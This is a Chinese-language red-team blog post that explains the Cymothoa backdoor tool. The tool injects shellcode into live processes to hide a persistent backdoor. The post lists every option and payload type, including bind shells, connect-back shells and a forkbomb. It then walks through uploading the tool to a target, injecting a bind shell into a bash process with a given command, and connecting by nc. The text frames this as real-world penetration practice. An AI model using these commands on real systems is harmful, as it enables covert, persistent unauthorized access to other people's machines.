# 后门工具
# 红队
cymothoa简介:
Cymothoa是一款隐秘的后门工具,通过向目标主机上活跃的进程注入恶意代码来执行后门工作,这也反向说明了,实际上Cymothoa后门会拥有和原进程相同的权限,且Cymothoa是通过向系统进程注入shellcode去执行后门,所以不会像以前写过的许多后门一样创建自己的进程,这使得它的隐蔽性提高了很多。
Cymothoa还提供了多种的攻击载荷,使得它存在很多类型的后门功能,Cymothoa后门对进程的包容性十分的广泛,基本能在常用的大部分进程中都能取得不错的效果,且还能与自启动或是其它开机自启的进程结合,从而实现持久化攻击的目的。
cymothoa的使用解析:
Cymothoa是基于ptrace库构建的,所以我多数是在Unix系统的渗透中会用到,当然在Windows上的效果实际也是不错的,只是因人而异。
Kali中有自带Cymothoa工具,也可前往以下地址下载:
https://sourceforge.net/projects/cymothoa/
输入cymothoa(注意区分大小写)即可打开,如果Kali中不带Cymothoa可输入指令下载:
apt update # 更新软件包列表
apt install cymothoa # 安装cymothoa
下载完毕后再次输入cymothoa即可启动/查看工具参数:
参数大致分为三类:
Main options | Injection options | Payload arguments
分别是:主要选项 | 注入选项 | Payload参数
各大类所对应的具体参数为:
主要选项(Main options):
-p: 指定目标进程的PID(进程标识符)
-s: 指定要注入的shellcode的编号
-l: 指定用于shellcode注入的内存区域名称(默认为/lib/ld)
-m: 指定用于持久性内存的内存区域名称(默认为/lib/ld)
-h: 打印帮助屏幕
-S: 列出可用的shellcodes
注入选项(Injection options):
-f: 在注入后fork父进程
-F: 在注入后不fork父进程
-b: 创建一个payload线程
-B: 不创建payload线程
-w: 传递持久性内存地址给payload
-W: 不传递持久性内存地址给payload
-a: 使用alarm调度器
-A: 不使用alarm调度器
-t: 使用setitimer调度器
-T: 不使用setitimer调度器
Payload参数(Payload arguments):
-j: 设置定时器(秒)
-k: 设置定时器(微秒)
-x: 设置IP地址
-y: 设置端口号
-r: 设置第二个端口号
-z: 设置用户名(4字节)
-o: 设置密码(8字节)
-c: 设置脚本代码
在参数解释中也给了三个分类的具体作用供我们参考,或是直接看这三类的名字我们也能大致知道一二:
注入选项
(Injection options): 允许攻击者能更细致地控制注入过程。
Payload参数
(Payload arguments):这些选项允许用户设置payload的具体行为。
我们使用-S参数还能看到关于shellcode的分类:
具体作用为:
bind /bin/sh to the provided port
将/bin/sh绑定到指定的端口上。需要-y参数来指定端口号。
bind /bin/sh + fork() to the provided port
与上一个类似,但在接受连接后会fork一个新的进程。同样需要-y参数。
bind /bin/sh to tcp port with password authentication
将/bin/sh绑定到TCP端口,并需要密码认证才能连接。需要-y指定端口和-o指定密码。
/bin/sh connect back
使/bin/sh连接回指定的IP和端口。需要-x指定IP和-y指定端口。
tcp socket proxy
创建一个TCP套接字代理。需要-x, -y, 和-r参数。
script execution
执行提供的脚本代码。这可能会创建一个临时文件,需要在使用后手动删除。
forks an HTTP Server
在TCP端口8800上fork一个HTTP服务器。
serial port busybox binding
绑定到串行端口的busybox实例。这通常用于硬件攻击或特定场景的渗透测试。
forkbomb
一个简单的forkbomb,用于快速消耗系统资源。这主要用于演示或测试目的。
open cd-rom loop
无限循环地尝试打开CD-ROM驱动器。这主要用于恶作剧或测试系统的响应。
audio (knock knock knock) via /dev/dsp
通过/dev/dsp设备播放音频。这主要用于演示或引起注意。
POC alarm() scheduled shellcode
一个概念验证(Proof of Concept),使用alarm()函数调度的shellcode。
POC setitimer() scheduled shellcode
另一个概念验证,使用setitimer()函数调度的shellcode。
alarm() backdoor
使用alarm()函数创建的后门,绑定到指定端口并在接受连接时fork新进程。需要-j和-y参数。
setitimer() tail follow
使用setitimer()函数的tail跟随payload,通过UDP发送数据。需要-k, -x, 和-y参数。
cymothoa的使用过程:
在实战渗透的过程中,我们需要将此上传至目标机器中,Windows系统中需要将此工具编译成exe文件上传配合渗透。
在Kali中的位置:/usr/share/cymothoa/
可在此地址中打开终端打包文件:
也可在以下链接中下载:
https://sourceforge.net/projects/cymothoa/files/latest/download
我这边开个Ubuntu作为目标系统:
将工具上传并解压后输入ps查看进程:
选择bash进程作为目标,在实战中通常也是如此的:
./cymothoa -s 0 -p 2326 -y 5454
这条命令的作用是选择第0个Shellcode注入到进程2326中,5454为服务端口,一般于连接后门:
用nc工具直接连接即可,在Windows和Linux中都可以:
Nc -nvv xxx.xx.攻击机ip 5454
标签:后门,利用,Cymothoa,端口,进程,cymothoa,shellcode From: https://www.cnblogs.com/o-O-oO/p/18677825